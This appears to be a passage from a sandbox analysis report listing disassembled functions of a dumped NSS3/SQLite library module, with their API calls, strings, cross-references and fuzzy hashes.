Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_randomness$memcmpsqlite3_initialize
String ID: cannot limit WAL size: %s
API String ID: 2554290823-3503406041
Opcode ID: c053fe627d5b6fff4d0dd84fee086edb562111489ad1e0c8b13f58444f4a9ce6
Instruction ID: 67498262ae669a81b60044bd44f3b5ee9a561170e35e4dfbfd4a2cc7ff879696
Opcode Fuzzy Hash: c053fe627d5b6fff4d0dd84fee086edb562111489ad1e0c8b13f58444f4a9ce6
Instruction Fuzzy Hash: 52929F72A083519FD704CF29C980A5AB7F1FF88718F18892DF99987751D734E985CB82

Function 6CAEAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CAEACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CAEACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CAEACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CAEAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CAEADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAEADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAEADF0

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAEB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAEB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAEB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAEB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CAEB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAEB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAEB40C

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 2e326e7b6f0ad86227b3b353212f7db4295d13805d2b6063ae27a4d8dee5cab1
Instruction ID: b5df468121715b1ecb5d0c23a30af776423f61f13ba51d2e483b1d6ad58c0e75
Opcode Fuzzy Hash: 2e326e7b6f0ad86227b3b353212f7db4295d13805d2b6063ae27a4d8dee5cab1
Instruction Fuzzy Hash: 8D22C171904301AFE700CF14DD48B9A77E1AF8830CF18866CE8595B792E772E899DBD6

Function 6CA74420 Relevance: 34.4, APIs: 10, Strings: 9, Instructions: 1186stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA74EE3

Strings

start of , xrefs: 6CA7517A
second, xrefs: 6CA74BCA
-, xrefs: 6CA74FBA
40f-21a-21d, xrefs: 6CA744D0
a generated column, xrefs: 6CA74D58, 6CA74E8B
a CHECK constraint, xrefs: 6CA74D62, 6CA74D6D, 6CA74E95, 6CA74EA0
non-deterministic use of %s() in %s, xrefs: 6CA74D71, 6CA74EA4
weekday , xrefs: 6CA754AB
an index, xrefs: 6CA74D53, 6CA74E86

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: strlen
String ID: -$40f-21a-21d$a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$second$start of $weekday
API String ID: 39653677-183924012
Opcode ID: 1f8bdf6775baaf48b5f98d45e9dd3c464e972690f389586bf5d5085bcc6b6f38
Instruction ID: 28637f9dd159748792df111d0643c1e73ae501e16ee27d143a876ef7e3a9a68e
Opcode Fuzzy Hash: 1f8bdf6775baaf48b5f98d45e9dd3c464e972690f389586bf5d5085bcc6b6f38
Instruction Fuzzy Hash: 4CA213396087848FC721CF24C06066AB7E2BF87368F18865DE8D55BB52E735D8C6CB61

Function 6CA6ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CA6ED38

Part of subcall function 6CA04F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA04FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CA6EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CA6EFE4

Part of subcall function 6CB2DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CA05001,?,00000003,00000000), ref: 6CB2DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CA6F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CA6F129
sqlite3_mprintf.NSS3(optimize), ref: 6CA6F1D1
sqlite3_free.NSS3(?), ref: 6CA6F368

Strings

simple, xrefs: 6CA6ED79
fts4aux, xrefs: 6CA6ECF9
fts3, xrefs: 6CA6F247
optimize, xrefs: 6CA6F199, 6CA6F1CC, 6CA6F211
fts3_tokenizer, xrefs: 6CA6EE1A, 6CA6EEA8
unicode61, xrefs: 6CA6EDB5
porter, xrefs: 6CA6ED97
fts3tokenize, xrefs: 6CA6F30F
fts4, xrefs: 6CA6F2AD
matchinfo, xrefs: 6CA6F04F, 6CA6F082, 6CA6F0C2, 6CA6F0F2, 6CA6F124, 6CA6F169
offsets, xrefs: 6CA6EFAF, 6CA6EFDF, 6CA6F01F
snippet, xrefs: 6CA6EF05, 6CA6EF37, 6CA6EF7C

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 3d6ce451d499c25b66a9b08a952a8329dce8001475cd492266cef60a7fd0cb54
Instruction ID: 240bd788c95c42386f348977dc61386b525b024956e0c5ea490e57122706d94f
Opcode Fuzzy Hash: 3d6ce451d499c25b66a9b08a952a8329dce8001475cd492266cef60a7fd0cb54
Instruction Fuzzy Hash: A002E3B5B043404BD7049E729C9573B76B6ABC570CF18493CD85A97F01EB74E98ACB82

Function 6CAAA4D0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 501stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(6CA828AD,pkcs11:,00000007), ref: 6CAAA501
PORT_Strdup_Util.NSS3(6CA828AD), ref: 6CAAA514

Part of subcall function 6CAE0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CA82AF5,?,?,?,?,?,6CA80A1B,00000000), ref: 6CAE0F1A
Part of subcall function 6CAE0F10: malloc.MOZGLUE(00000001), ref: 6CAE0F30
Part of subcall function 6CAE0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CAE0F42

strchr.VCRUNTIME140(00000000,0000003A), ref: 6CAAA529
PK11_GetInternalKeySlot.NSS3 ref: 6CAAA60D
PR_SetError.NSS3(FFFFE041,00000000), ref: 6CAAA74B
PR_SetError.NSS3(FFFFE041,00000000), ref: 6CAAA777
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAAA80C
memcmp.VCRUNTIME140(?,00000001,00000000), ref: 6CAAA82B
CERT_DestroyCertificate.NSS3(00000000), ref: 6CAAA952
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAAA9C3

Part of subcall function 6CAD0960: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,?,6CAAA8F5,00000000,?,00000010), ref: 6CAD097E
Part of subcall function 6CAD0960: memcmp.VCRUNTIME140(?,00000000,6CAAA8F5,00000010), ref: 6CAD098D

free.MOZGLUE(00000000), ref: 6CAAAB18
strchr.VCRUNTIME140(?,00000040), ref: 6CAAAB40
free.MOZGLUE(?), ref: 6CAAABE1

Part of subcall function 6CAA4170: TlsGetValue.KERNEL32(?,6CA828AD,00000000,?,6CAAA793,?,00000000), ref: 6CAA419F
Part of subcall function 6CAA4170: EnterCriticalSection.KERNEL32(0000001C), ref: 6CAA41AF
Part of subcall function 6CAA4170: PR_Unlock.NSS3(?), ref: 6CAA41D4

Strings

object, xrefs: 6CAAA5CF
pkcs11:, xrefs: 6CAAA4FB
token, xrefs: 6CAAA875
model, xrefs: 6CAAA8CF
manufacturer, xrefs: 6CAAA8A2

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: strlen$Errorfreememcmpstrchr$CertificateCriticalDestroyEnterInternalK11_L_strncasecmpSectionSlotStrdup_UnlockUtilValuemallocmemcpy
String ID: manufacturer$model$object$pkcs11:$token
API String ID: 916065474-709816111
Opcode ID: 749250d12ee96f18de13c81937386f8fdbe49c71a387ed001c2e137074d5f160
Instruction ID: eaff3d6cb86f01b1350747b99f476418bebe3c77b242a8d6707926e170c950ea
Opcode Fuzzy Hash: 749250d12ee96f18de13c81937386f8fdbe49c71a387ed001c2e137074d5f160
Instruction Fuzzy Hash: 670286B5D00214AFEF219B709D41BAE76B6AF05208F1440A4E90DA7712FB319EDDCF92

Function 6CACA650 Relevance: 31.8, APIs: 21, Instructions: 278memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CACA670

Part of subcall function 6CAE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA887ED,00000800,6CA7EF74,00000000), ref: 6CAE1000
Part of subcall function 6CAE0FF0: PR_NewLock.NSS3(?,00000800,6CA7EF74,00000000), ref: 6CAE1016
Part of subcall function 6CAE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA887ED,00000008,?,00000800,6CA7EF74,00000000), ref: 6CAE102B

PK11_GetInternalKeySlot.NSS3 ref: 6CACA67E
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6CACA69B

Part of subcall function 6CAA9520: PK11_IsLoggedIn.NSS3(00000000,?,6CAD379E,?,00000001,?), ref: 6CAA9542

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CACA6C0
TlsGetValue.KERNEL32 ref: 6CACA703
EnterCriticalSection.KERNEL32(?), ref: 6CACA718
PR_Unlock.NSS3(?), ref: 6CACA78B
PK11_CreateContextBySymKey.NSS3(00000133,00000104,?,00000000), ref: 6CACA7DD
PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CACA7FA
PORT_Alloc_Util.NSS3(00000000), ref: 6CACA818
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CACA82F
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CACA868
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CACA873
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CACA884
PK11_FreeSymKey.NSS3(00000000), ref: 6CACA894
PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CACA8D9
PK11_CipherOp.NSS3(?,00000000,?,00000000,00000000,00000000), ref: 6CACA8F0
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CBE0B04), ref: 6CACA93F
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CACA952
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CACA961
PK11_DestroyContext.NSS3(?,00000001), ref: 6CACA96E

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$K11_$Item_$Zfree$Arena_Free$Alloc_ArenaContext$AuthenticateBlockCipherCreateCriticalDestroyEncodeEnterInitInternalLockLoggedPoolSectionSizeSlotUnlockValuecallocmemcpy
String ID:
API String ID: 1441238854-0
Opcode ID: 14a7449bfc8c5e5bc055a4c7c48c59971e83019036879ad7798d7d3a0facc1c6
Instruction ID: ee47d51d4482fa689c5f3b9f8e380e5f61e3acf525a50ce528ab4205f04d3e7b
Opcode Fuzzy Hash: 14a7449bfc8c5e5bc055a4c7c48c59971e83019036879ad7798d7d3a0facc1c6
Instruction Fuzzy Hash: DF91E6B1E002489FEB00DFA4DD45ABE77B9AF04308F184528E815EB741F7319D99CB92

Function 6CAAE6E0 Relevance: 30.6, APIs: 20, Instructions: 581memorythreadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAAE8AB
EnterCriticalSection.KERNEL32(?), ref: 6CAAE8BF
PORT_Alloc_Util.NSS3(0000000C), ref: 6CAAEA30
PK11_Encrypt.NSS3(?,?,?,?,?,?,00000000,?), ref: 6CAAEA6A
PORT_Alloc_Util.NSS3(?), ref: 6CAAEB0D
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CAAEB23
memcpy.VCRUNTIME140(?,?), ref: 6CAAEB38
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CAAEB50
PR_SetError.NSS3(00000000,00000000), ref: 6CAAEC0F
PR_Unlock.NSS3(?), ref: 6CAAEC68
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CAAEC7D
PR_Unlock.NSS3(?), ref: 6CAAEC9C
PK11_Decrypt.NSS3(?,?,?,?,?,?,00000000,?), ref: 6CAAECCF
PR_GetCurrentThread.NSS3 ref: 6CAAED02
PK11_Decrypt.NSS3(?,00001087,?,?,?,?,?,?), ref: 6CAAED6F
PK11_Encrypt.NSS3(?,00001087,?,?,?,?,?,?), ref: 6CAAEDB7
memcpy.VCRUNTIME140(?,?,?), ref: 6CAAEDF6
memcpy.VCRUNTIME140(?,?), ref: 6CAAEE12
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CAAEE2B

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

free.MOZGLUE(?), ref: 6CAAEE43

Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707AD
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707CD
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707D6
Part of subcall function 6CA707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA0204A), ref: 6CA707E4
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,6CA0204A), ref: 6CA70864
Part of subcall function 6CA707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA70880
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,6CA0204A), ref: 6CA708CB
Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(?,?,6CA0204A), ref: 6CA708D7
Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(?,?,6CA0204A), ref: 6CA708FB

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Value$ErrorK11_memcpy$Alloc_DecryptEncryptUnlockUtilcalloc$CriticalCurrentEnterSectionThreadfree
String ID:
API String ID: 1743700497-0
Opcode ID: fc6a8c2ba796151011e7c6e02327d755b8350a028e6b38916cf4e34f428a8bff
Instruction ID: 0886abf381c5aa1d9f1a98be8c8daff3346eafbe7c0378cd3848ea9111639b86
Opcode Fuzzy Hash: fc6a8c2ba796151011e7c6e02327d755b8350a028e6b38916cf4e34f428a8bff
Instruction Fuzzy Hash: 483236B1604305DFDB14CF99C880A9ABBF1BF88308F14892DE99987751D331E996CF92

Function 6CA72560 Relevance: 30.3, APIs: 10, Strings: 7, Instructions: 533stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA6F9C9,?,6CA6F4DA,6CA6F9C9,?,?,6CA3369A), ref: 6CA0CA7A
Part of subcall function 6CA0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA0CB26

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA725B2
memset.VCRUNTIME140(00000000,00000000,00000079), ref: 6CA725DE
sqlite3_snprintf.NSS3(-0000000F,00000068,%s-shm,?), ref: 6CA72604
sqlite3_initialize.NSS3 ref: 6CA7269D
sqlite3_uri_parameter.NSS3(?,readonly_shm), ref: 6CA726D6
sqlite3_initialize.NSS3 ref: 6CA7289F
EnterCriticalSection.KERNEL32(?), ref: 6CA729CD
LeaveCriticalSection.KERNEL32(?), ref: 6CA72A26
sqlite3_free.NSS3(?), ref: 6CA72B30

Strings

winFileSize, xrefs: 6CA72A7D
readonly_shm, xrefs: 6CA726CE
winOpenShm, xrefs: 6CA72B7E
winShmMap3, xrefs: 6CA72C08, 6CA72C3D
winShmMap2, xrefs: 6CA72BD0
%s-shm, xrefs: 6CA725FD
winShmMap1, xrefs: 6CA72AB0

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_initialize$memsetsqlite3_freesqlite3_snprintfsqlite3_uri_parameterstrlen
String ID: %s-shm$readonly_shm$winFileSize$winOpenShm$winShmMap1$winShmMap2$winShmMap3
API String ID: 3867263885-4021692097
Opcode ID: 3913f46f21ff6e9944db3e89b2a92ef42d0ec83e79dfcbb032adcebfa40e20c1
Instruction ID: 8f5aa52546bc0bd69f7f0053dba6c64a7c3f01226240da8611d390968448c325
Opcode Fuzzy Hash: 3913f46f21ff6e9944db3e89b2a92ef42d0ec83e79dfcbb032adcebfa40e20c1
Instruction Fuzzy Hash: 2612FF39A04241DFDB14CF24D898A6AB7F6FF89354F18462DE80697741DB34EC85CBA2

Function 6CA3A7D0 Relevance: 28.2, APIs: 5, Strings: 8, Instructions: 5451COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6CA3A973

Strings

gfff, xrefs: 6CA3ED41
INDEX %d, xrefs: 6CA3D786
SCAN CONSTANT ROW, xrefs: 6CA3B01D
at most %d tables in a join, xrefs: 6CA3B630
too many arguments on %s() - max %d, xrefs: 6CA3EB2D
MULTI-INDEX OR, xrefs: 6CA3D6E6
N, xrefs: 6CA3AD0F
abbreviated query algorithm search, xrefs: 6CA3B3BF

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memset
String ID: N$INDEX %d$MULTI-INDEX OR$SCAN CONSTANT ROW$abbreviated query algorithm search$at most %d tables in a join$gfff$too many arguments on %s() - max %d
API String ID: 2221118986-452224314
Opcode ID: 4185f377ab0a8257ea973e4dc0a8a896fc74882e6e576cb5633a67dbb9df1490
Instruction ID: 45ef8fb50a1443c1858c670e1bee409204aa2587482f730af5e0d033dcf1dc9d
Opcode Fuzzy Hash: 4185f377ab0a8257ea973e4dc0a8a896fc74882e6e576cb5633a67dbb9df1490
Instruction Fuzzy Hash: 39B36C74A08751CFD314CF19C4A0B5AB7F2BF89318F189A5DE8998B751D731E886CB42

Function 6CAEA730 Relevance: 27.4, APIs: 18, Instructions: 378memorystringCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CAEA778

Part of subcall function 6CAE14C0: TlsGetValue.KERNEL32 ref: 6CAE14E0
Part of subcall function 6CAE14C0: EnterCriticalSection.KERNEL32 ref: 6CAE14F5
Part of subcall function 6CAE14C0: PR_Unlock.NSS3 ref: 6CAE150D

Part of subcall function 6CAEB990: PORT_NewArena_Util.NSS3(00000800,00000000,?,FFFFFFFF,?,6CAEA78B,?), ref: 6CAEB9A4
Part of subcall function 6CAEB990: PORT_ArenaAlloc_Util.NSS3(00000000,00000014,?), ref: 6CAEB9B5
Part of subcall function 6CAEB990: PK11_HashBuf.NSS3(00000004,00000000,E4840FC0,89000000,?,?,?), ref: 6CAEB9D9
Part of subcall function 6CAEB990: PR_SetError.NSS3(FFFFE013,00000000,?,?,?), ref: 6CAEB9EC
Part of subcall function 6CAEB990: PORT_FreeArena_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CAEBA0A

Part of subcall function 6CAEA3F0: PORT_ArenaMark_Util.NSS3(?), ref: 6CAEA43E
Part of subcall function 6CAEA3F0: PORT_ArenaMark_Util.NSS3(FFFFFFFF,?,?,?,?,?,?,00000000,?,-0000001C,?,6CAEA7B5,?), ref: 6CAEA457
Part of subcall function 6CAEA3F0: PORT_ArenaAlloc_Util.NSS3(FFFFFFFF,00000018,?,?,?,?,?,?,?,00000000,?,-0000001C,?,6CAEA7B5,?), ref: 6CAEA464
Part of subcall function 6CAEA3F0: SECOID_FindOIDByTag_Util.NSS3(000000A8,?,?,?,?,?,?,?,?,?,00000000,?,-0000001C,?,6CAEA7B5,?), ref: 6CAEA48D
Part of subcall function 6CAEA3F0: SECITEM_CopyItem_Util.NSS3(FFFFFFFF,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,-0000001C), ref: 6CAEA49F
Part of subcall function 6CAEA3F0: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,-0000001C), ref: 6CAEA4B2

PORT_ArenaMark_Util.NSS3(?), ref: 6CAEA7FC
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CAEA891
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6CAEA8AF
PORT_ArenaAlloc_Util.NSS3(?,00000038), ref: 6CAEA8C0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CAEA967
PK11_GetInternalKeySlot.NSS3 ref: 6CAEA981
PK11_FindKeyByAnyCert.NSS3(00000000,?), ref: 6CAEA9A1
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6CAEA9DA
PORT_ArenaAlloc_Util.NSS3(?,00000028), ref: 6CAEAA04
SECKEY_DestroyEncryptedPrivateKeyInfo.NSS3(?,00000001), ref: 6CAEAA45
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAEAA70
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAEAAE3
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CAEAB10
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CAEAB7D
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CAEABD8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAEAC0F

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

